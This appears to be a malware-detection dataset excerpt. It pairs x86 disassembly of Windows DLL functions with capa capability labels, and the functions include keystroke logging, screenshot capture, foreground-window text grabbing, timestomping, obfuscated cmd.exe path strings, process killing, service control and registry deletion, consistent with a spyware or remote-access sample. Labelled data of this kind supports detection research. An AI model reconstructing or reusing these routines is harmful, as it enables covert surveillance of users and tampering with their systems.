joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c109
Capabilities:
Manipulate console buffer

Disassembly:
push 0x50
mov eax, 0x10039e88
call fcn.10022cff
mov esi, ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
mov al, byte [eax + 1]
cmp al, 5
je 0x1000c28a
cmp al, 9
je 0x1000c158
cmp al, 0xc
jne 0x1000c28f
push dword [esi + 0x1018]
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 1
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
jmp 0x1000c28f
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x44]
inc dword [0x100509d8]
xor ebx, ebx
rep stosd dword es:[edi], eax
push edx
lea ecx, [ebp - 0x44]
mov word [ebp - 0x44], 0x90b
mov byte [ebp - 0x40], bl
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call fcn.10006f33
add eax, 4
lea ecx, [ebp - 0x5c]
push eax
call fcn.10005a66
mov dword [ebp - 4], ebx
dec dword [0x100509d8]
cmp dword [ebp - 0x3c], ebx
je 0x1000c1b9
cmp byte [ebp - 0x40], bl
jne 0x1000c1b9
push dword [ebp - 0x3c]
dec dword [0x100509d4]
call fcn.10029cb0
pop ecx
mov dword [ebp - 0x3c], ebx
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x5c]
call fcn.10005d42
xor eax, eax
xor ecx, ecx
inc eax
mov byte [ebp - 4], al
mov eax, dword [ebp - 0x18]
push 0x14
inc eax
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10022784
pop ecx
mov ecx, dword [ebp - 0x18]
mov edi, eax
inc ecx
imul ecx, ecx, 0x14
push ecx
push ebx
push edi
call fcn.100255c0
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov edx, ebx
test eax, eax
je 0x1000c240
lea ecx, [edi + 0x10]
xor eax, eax
mov dword [ecx], ebx
inc eax
mov word [ecx - 0x10], ax
mov dword [ecx - 0xc], eax
cmp dword [ebp - 0x18], edx
jbe 0x1000c297
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
mov ax, word [eax + edx*2]
mov word [ecx - 2], ax
xor eax, eax
inc eax
inc edx
mov word [ecx - 8], ax
add ecx, 0x14
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
cmp edx, eax
jb 0x1000c207
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea ecx, [ebp - 0x48]
push ecx
push dword [ebp - 0x2c]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
test eax, eax
jne 0x1000c26b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x14
mov ecx, esi
call fcn.1000c8ad
push edi
call fcn.10022128
pop ecx
lea ecx, [ebp - 0x28]
call fcn.1001340c
dec dword [0x100509d8]
lea ecx, [ebp - 0x5c]
call fcn.10005aee
jmp 0x1000c28f
call fcn.1000c29d
call fcn.10022cbd
ret 4
call fcn.10013b7c
int3
Function at 0x1000c5be
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x1004d0e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x128]
push edi
mov edi, 0x104
mov dword [ebp - 0x12c], esi
push edi
xor ebx, ebx
push ebx
push eax
call fcn.100255c0
add esp, 0xc
lea eax, [ebp - 0x128]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000c642
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x616c705c
push eax
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], 0x646d635c
push eax
mov dword [ebp - 0x18], 0x6578652e
mov byte [ebp - 0x14], bl
call fcn.10026ca0
pop ecx
pop ecx
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1000c688
push edi
lea eax, [ebp - 0x128]
push ebx
push eax
call fcn.100255c0
add esp, 0xc
mov dword [ebp - 0x10], 0x646d635c
lea eax, [ebp - 0x128]
mov dword [ebp - 0xc], 0x6578652e
mov byte [ebp - 8], bl
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000c688
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.10026ca0
pop ecx
pop ecx
push ebx
lea edx, [ebp - 0x128]
mov ecx, esi
call fcn.10005d9d
pop ecx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002211a
leave
ret 4
Function at 0x1000d259
Capabilities:
Delete directory
Delete file

Disassembly:
push 0x58
mov eax, 0x1003a056
call fcn.10022cff
mov edi, ecx
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x60]
call fcn.1000701e
xor ebx, ebx
mov ecx, eax
push esi
mov dword [ebp - 4], ebx
call fcn.100070dc
add eax, 4
lea ecx, [ebp - 0x28]
push eax
call fcn.100128ab
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 2
call fcn.1001340c
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
je 0x1000d2ce
cmp dword [ebp - 0x14], 8
lea esi, [ebp - 0x28]
cmovae esi, dword [ebp - 0x28]
mov ecx, esi
call fcn.1001d79c
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x1000d2eb
mov bl, 0x1a
jmp 0x1000d2eb
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1a
test eax, eax
movzx ebx, bl
pop edx
cmove ebx, edx
lea ecx, [ebp - 0x44]
call fcn.1000701e
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x43], 0x13
mov byte [ebp - 0x42], bl
call fcn.1001277c
sub esp, 0x14
lea ecx, [ebp - 0x44]
push esp
call fcn.10007064
mov ecx, edi
call fcn.1000ca04
lea ecx, [ebp - 0x40]
call fcn.1001340c
lea ecx, [ebp - 0x28]
call fcn.1001340c
call fcn.10022cbd
ret 4

Function at 0x1000d335
Capabilities:
Create process on windows

Disassembly:
push 0x98
mov eax, 0x1003a08a
call fcn.10022cff
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x48]
call fcn.1000701e
xor edi, edi
mov ecx, eax
push esi
mov dword [ebp - 4], edi
call fcn.100070dc
add eax, 4
lea ecx, [ebp - 0x2c]
push eax
call fcn.100128ab
lea ecx, [ebp - 0x44]
call fcn.1001340c
cmp dword [ebp - 0x1c], edi
je 0x1000d3cc
push 0x44
lea eax, [ebp - 0xa4]
push edi
push eax
call fcn.100255c0
add esp, 0xc
mov dword [ebp - 0x78], 1
lea ecx, [ebp - 0x58]
xor eax, eax
cmp dword [ebp - 0x18], 8
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0xa4]
push ecx
push edi
push edi
push edi
push edi
push edi
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1000d3cc
push dword [ebp - 0x54]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x58]
call esi
lea ecx, [ebp - 0x2c]
call fcn.1001340c
call fcn.10022cbd
ret 4
Function at 0x1000d3dc
Capabilities:
Move file

Disassembly:
push 0x58
mov eax, 0x1003a0c1
call fcn.10022cff
mov edi, ecx
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x40], ebx
push 7
pop ecx
xor eax, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ecx
mov word [ebp - 0x40], ax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ecx
mov word [ebp - 0x28], ax
mov word [ebp - 0x44], 0x150d
mov byte [ebp - 0x42], bl
mov ecx, esi
mov dword [ebp - 4], 2
call fcn.10006080
mov ecx, esi
mov byte [ebp - 0x44], al
call fcn.10006080
mov ecx, esi
mov byte [ebp - 0x43], al
call fcn.10006080
mov byte [ebp - 0x42], al
mov ecx, esi
lea eax, [ebp - 0x5c]
push eax
call fcn.10005d42
push eax
lea ecx, [ebp - 0x40]
call fcn.100127a6
lea ecx, [ebp - 0x5c]
call fcn.1001340c
lea eax, [ebp - 0x5c]
mov ecx, esi
push eax
call fcn.10005d42
push eax
lea ecx, [ebp - 0x28]
call fcn.100127a6
lea ecx, [ebp - 0x5c]
call fcn.1001340c
push 8
pop esi
cmp dword [ebp - 0x30], ebx
je 0x1000d4be
cmp dword [ebp - 0x18], ebx
je 0x1000d4be
cmp dword [ebp - 0x14], esi
lea ecx, [ebp - 0x28]
lea eax, [ebp - 0x40]
cmovae ecx, dword [ebp - 0x28]
cmp dword [ebp - 0x2c], esi
push ecx
cmovae eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1a
pop edx
test eax, eax
movzx ecx, bl
cmove ecx, edx
sub esp, 0x14
mov byte [ebp - 0x42], cl
lea ecx, [ebp - 0x44]
push esp
call fcn.1000723f
mov ecx, edi
call fcn.1000ca04
mov eax, dword [ebp - 0x14]
mov edi, 0x1000
cmp eax, esi
jb 0x1000d4fc
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], ecx
cmp eax, edi
jb 0x1000d4f3
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.100015db
mov eax, dword [ebp - 0x64]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x60]
push eax
push ecx
call fcn.10022776
pop ecx
pop ecx
xor eax, eax
mov dword [ebp - 0x18], ebx
mov word [ebp - 0x28], ax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], 7
cmp eax, esi
jb 0x1000d545
mov ecx, dword [ebp - 0x40]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], ecx
cmp eax, edi
jb 0x1000d53c
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.100015db
mov eax, dword [ebp - 0x60]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x64]
push eax
push ecx
call fcn.10022776
pop ecx
pop ecx
call fcn.10022cbd
ret 4
Function at 0x1000d54d
Capabilities:
Create directory

Disassembly:
push 0xb0
mov eax, 0x1003a108
call fcn.10022cff
mov dword [ebp - 0xa4], ecx
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0xa0]
call fcn.100072cc
mov ebx, eax
and dword [ebp - 4], 0
mov ecx, edi
call fcn.10006080
mov ecx, edi
mov byte [ebx], al
call fcn.10006080
mov ecx, edi
mov byte [ebx + 1], al
call fcn.10006080
mov byte [ebx + 2], al
mov ecx, edi
lea eax, [ebp - 0x70]
push eax
call fcn.10005d42
lea esi, [ebx + 4]
push eax
mov ecx, esi
call fcn.100127a6
lea ecx, [ebp - 0x70]
call fcn.1001340c
mov ecx, edi
call fcn.1000613e
push eax
lea eax, [ebp - 0xbc]
mov ecx, edi
push eax
call fcn.10005b9a
push eax
lea ecx, [ebx + 0x1c]
call fcn.100061e9
dec dword [0x100509d8]
lea ecx, [ebp - 0xbc]
call fcn.10005aee
push esi
lea ecx, [ebp - 0x28]
call fcn.100128ab
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x84]
dec dword [0x100509d8]
call fcn.10005aee
lea ecx, [ebp - 0x9c]
call fcn.1001340c
cmp dword [ebp - 0x18], 0
je 0x1000d6b9
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
xor ebx, ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1000d641
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x1a
cmp eax, 0xb7
movzx ebx, bl
pop edx
cmovne ebx, edx
lea ecx, [ebp - 0x58]
call fcn.100072cc
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x54]
mov byte [ebp - 0x56], bl
call fcn.1001277c
cmp dword [ebp - 0x14], 8
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0xbc]
cmovae edx, dword [ebp - 0x28]
call fcn.1000a35d
push eax
lea ecx, [ebp - 0x3c]
call fcn.100061e9
dec dword [0x100509d8]
lea ecx, [ebp - 0xbc]
call fcn.10005aee
sub esp, 0x14
lea ecx, [ebp - 0x58]
push esp
call fcn.10007311
mov ecx, dword [ebp - 0xa4]
call fcn.1000ca04
dec dword [0x100509d8]
lea ecx, [ebp - 0x3c]
call fcn.10005aee
lea ecx, [ebp - 0x54]
call fcn.1001340c
lea ecx, [ebp - 0x28]
call fcn.1001340c
call fcn.10022cbd
ret 4
Function at 0x1000dd22
Capabilities:
Terminate process

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
mov ebp, ecx
push edi
mov ecx, esi
call fcn.10006080
mov ecx, esi
call fcn.10006080
mov ecx, esi
call fcn.10006080
mov ecx, esi
call fcn.1000613e
mov ebx, eax
test ebx, ebx
je 0x1000ddb3
push ebx
xor esi, esi
push esi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
inc ecx
test eax, eax
cmovne esi, ecx
test edi, edi
je 0x1000dd7c
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
mov word [esp + 0x10], 0x190e
lea ecx, [esp + 0x10]
mov dword [esp + 0x14], ebx
setne al
sub esp, 0x14
dec al
and al, 0x1a
mov byte [esp + 0x26], al
push esp
call fcn.100073aa
mov ecx, ebp
call fcn.1000ca04
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 4
Function at 0x1000e7da
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
push 0x4e
call esi
mov ebx, eax
push 0x4f
mov dword [esp + 0x1c], ebx
call esi
mov edi, eax
push 0x4c
mov dword [esp + 0x38], edi
call esi
push 0x4d
mov dword [esp + 0x34], eax
call esi
xor edx, edx
mov dword [esp + 0x2c], eax
xor ebp, ebp
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], ebp
mov eax, ebx
mov ecx, edi
test ebx, ebx
jns 0x1000e827
xor eax, eax
mov dword [esp + 0x20], ebx
mov edx, ebx
test edi, edi
jns 0x1000e833
xor ecx, ecx
mov dword [esp + 0x1c], edi
mov ebp, edi
sub eax, edx
sub ecx, ebp
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
mov ebx, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, eax
push esi
mov dword [esp + 0x18], esi
call ebx
push edi
push dword [esp + 0x1c]
mov edi, dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ebp, eax
push esi
mov dword [esp + 0x1c], ebp
call edi
push eax
push ebp
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x40cc0020
push dword [esp + 0x30]
mov esi, eax
push dword [esp + 0x38]
push dword [esp + 0x20]
push dword [esp + 0x44]
push dword [esp + 0x2c]
push 0
push 0
push ebp
mov ebp, dword [sym.imp.GDI32.dll_BitBlt]
call ebp
push esi
push dword [esp + 0x14]
call dword [sym.imp.GDI32.dll_SelectObject]
push dword [esp + 0x24]
mov esi, eax
push dword [esp + 0x2c]
mov dword [esp + 0x3c], esi
push dword [esp + 0x1c]
call edi
push eax
push dword [esp + 0x14]
mov dword [esp + 0x38], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push dword [esp + 0x10]
mov edi, eax
call ebx
mov ebx, eax
push esi
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push dword [esp + 0x20]
mov esi, eax
push dword [esp + 0x28]
push ebx
push dword [esp + 0x34]
push dword [esp + 0x3c]
push 0
push 0
push dword [esp + 0x30]
call ebp
mov ebp, dword [sym.imp.GDI32.dll_SelectObject]
push edi
mov edi, dword [esp + 0x14]
push edi
call ebp
push esi
push ebx
call ebp
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
push ebx
call esi
push dword [esp + 0x34]
call dword [sym.imp.GDI32.dll_DeleteObject]
push edi
call esi
push dword [esp + 0x14]
call esi
mov eax, dword [esp + 0x30]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
Function at 0x10010f35
Capabilities:
Delete directory
Delete registry value

Disassembly:
push 0x54
mov eax, 0x1003a717
call fcn.10022cff
push 8
pop edi
xor ebx, ebx
lea ecx, [ebp - 0x60]
cmp dword [0x10050a98], edi
mov esi, 0x10050a84
mov eax, esi
mov dword [ebp - 0x60], ebx
cmovae eax, dword [0x10050a84]
push eax
call fcn.1001cd01
cmp dword [ebp - 0x60], ebx
je 0x10010f74
push dword [ebp - 0x60]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movaps xmm0, xmmword [0x10044b60]
lea eax, [ebp - 0x60]
cmp dword [0x10050a98], edi
push eax
cmovae esi, dword [0x10050a84]
lea eax, [ebp - 0x44]
push 2
movups xmmword [ebp - 0x44], xmm0
push ebx
movaps xmm0, xmmword [0x10044b70]
movups xmmword [ebp - 0x34], xmm0
push eax
movaps xmm0, xmmword [0x10044b80]
push reloc.WS2_32.dll_accept
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x6e
mov dword [ebp - 0x60], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10010fdb
push esi
push dword [ebp - 0x60]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x60]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x60], ebx
cmp dword [0x10050a38], edi
lea ecx, [ebp - 0x5c]
mov edx, 0x10050a24
cmovae edx, dword [0x10050a24]
call fcn.10007957
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x5c]
cmp dword [ebp - 0x48], edi
cmovae ecx, dword [ebp - 0x5c]
call fcn.10010e29
cmp dword [ebp - 0x48], edi
lea eax, [ebp - 0x5c]
cmovae eax, dword [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea ecx, [ebp - 0x5c]
call fcn.1001340c
call fcn.10022cbd
ret

Function at 0x10011026
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
xor ebp, ebp
mov ebx, edx
push esi
cmp word [ecx], bp
je 0x10011080
test ebx, ebx
je 0x10011080
mov esi, dword [esp + 0x14]
test esi, esi
je 0x10011080
push edi
push ebp
push ebp
push 2
push ebp
push 1
push 0xc0000000
push ecx
mov dword [esp + 0x2c], ebp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10011074
push ebp
lea eax, [esp + 0x14]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [esp + 0x10], esi
pop edi
sete al
jmp 0x10011082
xor eax, eax
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10011087
Capabilities:
Contain obfuscated stackstrings
Get common file path
Timestomp file

Disassembly:
push 0x154
mov eax, 0x1003a74e
call fcn.10022cff
mov dword [ebp - 0x144], ecx
mov esi, 0x104
lea eax, [ebp - 0x128]
push esi
xor ebx, ebx
push ebx
push eax
call fcn.100255c0
add esp, 0xc
lea eax, [ebp - 0x128]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x130], ebx
lea edx, [ecx + 1]
mov dword [ebp - 0x12c], ebx
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100110dd
sub ecx, edx
lea eax, [ebp - 0x128]
push ecx
push eax
lea ecx, [ebp - 0x140]
call fcn.100151f7
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x72656b5c
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0x336c656e
mov dword [ebp - 0x18], 0x6c642e32
mov word [ebp - 0x14], 0x6c
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001111d
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x140]
call fcn.10013588
cmp dword [ebp - 0x12c], 0x10
lea eax, [ebp - 0x140]
push ebx
cmovae eax, dword [ebp - 0x140]
push ebx
push 3
push ebx
push ebx
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100111ca
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x10000000
push dword [ebp - 0x144]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100111ca
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x12c]
cmp eax, 0x10
jb 0x10011219
mov ecx, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
cmp eax, 0x1000
jb 0x10011210
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x144]
push eax
call fcn.100015db
mov eax, dword [ebp - 0x148]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x144]
push eax
push ecx
call fcn.10022776
pop ecx
pop ecx
mov eax, ebx
call fcn.10022cbd
ret
Function at 0x10011463
Capabilities:
Get graphical window text

Disassembly:
push ebp
lea ebp, [esp - 0x20c]
sub esp, 0x20c
push 0xffffffffffffffff
push 0x100391de
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x1004d0e0]
xor eax, ebp
mov dword [ebp + 0x208], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
xor ecx, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], ecx
mov dword [esi], ecx
xor eax, eax
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], 7
mov word [esi], ax
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], 1
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
test ebx, ebx
je 0x10011522
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov edi, eax
test edi, edi
jle 0x10011522
push 0x208
lea eax, [ebp]
push 0
push eax
call fcn.100255c0
add esp, 0xc
lea ecx, [edi + 1]
mov eax, 0x103
cmp ecx, eax
cmovl eax, ecx
push eax
lea eax, [ebp]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x10011522
lea eax, [ebp]
mov ecx, esi
push eax
call fcn.10012757
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.1002211a
add ebp, 0x20c
leave
ret

Function at 0x10011547
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x1004d0e0]
xor eax, ebp
mov dword [ebp + 0x88], eax
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x78]
mov dword [ebp - 0x80], ecx
push 0
push eax
mov edi, edx
xor bl, bl
call fcn.100255c0
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
add esp, 0xc
mov byte [edi], bl
push 0x14
call esi
push 0x91
call esi
push 0x90
call esi
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov ecx, dword [ebp - 0x80]
xor eax, eax
cmp dword [eax + str.pqrstuvwxyz_b_re_t], ecx
je 0x100115bc
add eax, 4
cmp eax, 0x210
jb 0x100115a8
jmp 0x100115c5
mov bl, cl
mov byte [edi], 1
test bl, bl
jne 0x100115f0
push 0
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
push ecx
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov ecx, dword [ebp - 0x80]
push eax
push ecx
call dword [sym.imp.USER32.dll_ToAscii]
movzx ecx, byte [ebp - 0x7c]
cmp eax, 1
movzx ebx, bl
cmove ebx, ecx
mov ecx, dword [ebp + 0x88]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002211a
add ebp, 0x8c
leave
ret

Function at 0x10014c67
Capabilities:
Create thread

Disassembly:
push 4
mov eax, 0x1003ac7e
call fcn.10022ccc
mov esi, ecx
push 4
xor ebx, ebx
call fcn.10022312
mov dword [ebp - 0x10], eax
mov dword [eax], 0x100117c1
lea edi, [esi + 4]
mov dword [ebp - 4], ebx
push edi
push ebx
push eax
push 0x10017044
push ebx
push ebx
call fcn.10026ee4
add esp, 0x1c
mov dword [esi], eax
test eax, eax
je 0x10014caf
mov eax, esi
call fcn.10022ca9
ret 4
push 6
mov dword [edi], ebx
call fcn.10021b54
int3
Function at 0x1001cd47
Capabilities:
Start service

Disassembly:
push esi
mov esi, ecx
call fcn.1001cce3
test al, al
je 0x1001cdb7
push ebx
push edi
push 0x14
push dword [esp + 0x14]
xor ebx, ebx
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x1001cdaa
push esi
call fcn.1001cdbd
cmp eax, 4
je 0x1001cda8
cmp eax, 2
je 0x1001cda8
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x1001cdaa
push 0xa
pop edi
jmp 0x1001cd9d
dec edi
test edi, edi
jle 0x1001cdaa
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call fcn.1001cdbd
cmp eax, 4
jne 0x1001cd8d
mov bl, 1
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov al, bl
pop ebx
jmp 0x1001cdb9
xor al, al
pop esi
ret 8

Function at 0x1001cdf4
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1004d0e0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
call fcn.1001cce3
test al, al
je 0x1001ce8f
push 0x24
push edi
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x1001ce8f
push ebx
push esi
xor bl, bl
call fcn.1001cdbd
cmp eax, 1
je 0x1001ce81
cmp eax, 3
je 0x1001ce81
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x1001ce83
push 0xa
pop edi
push esi
call fcn.1001cdbd
cmp eax, 1
je 0x1001ce81
cmp eax, 3
je 0x1001ce81
dec edi
test edi, edi
jle 0x1001ce77
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call fcn.1001cdbd
cmp eax, 1
jne 0x1001ce57
cmp eax, 1
je 0x1001ce81
cmp eax, 3
jne 0x1001ce83
mov bl, 1
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, bl
pop ebx
jmp 0x1001ce91
xor al, al
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1002211a
leave
ret 8

Function at 0x1001cea1
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [ebp - 0x24], 9
je 0x1001cec2
cmp word [ebp - 0x24], 6
sete al
leave
ret
mov al, 1
leave
ret